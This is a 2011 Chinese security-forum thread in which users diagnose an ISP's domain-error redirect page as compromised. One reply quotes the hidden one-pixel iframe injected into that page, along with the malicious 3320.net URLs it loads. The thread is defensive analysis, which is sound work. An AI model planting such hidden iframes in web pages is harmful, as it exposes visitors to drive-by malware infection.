江苏域名纠错被挂马？

显示全部楼层 · 发表于 2011-6-21 17:31:21

http://202.102.110.207/

我是在打开某个网站时遇到的http://202.102.110.207:8080/1.htm?AIMT=http://gzg1.etec.edu.cn/&host=gzg1.etec.edu.cn&refer=&server=104&pre=1308646220960 未命名.jpg

下面这个图是别人访问时截的

未命名2.jpg

显示全部楼层 · 发表于 2011-6-21 18:28:51

错误 101 (net::ERR_CONNECTION_RESET)：连接已重置。

显示全部楼层 · 发表于 2011-6-21 19:42:31

看了一眼就知道该被报

http://202.102.110.207:8080/1.htm?AIMT=http://gzg1.etec.edu.cn/&host=gzg1.etec.edu.cn&refer=&server=104&pre=1308646220960

页面源码第一行就有个http://www.3320.net/fuz/ceoqq.jpg

这个“图片”隐藏了个iframe指向http://www.3320.net/fuz/youxi.html

<iframe src=http:\/\/www.3320.net\/fuz\/youxi.html width=1 height=1><\/iframe>

复制代码

到这不管后面网马是否失效都基本可以判断该网站被挂了，也就没必要继续分析了

恶意

显示全部楼层 · 发表于 2011-6-21 19:56:34

呃，继续粗略看了下，和上次卡饭被挂的是同一网马。。。。。

显示全部楼层 · 发表于 2011-6-22 22:43:33

谷歌毛豆龙阻止

[已鉴定] 江苏域名纠错被挂马？

评分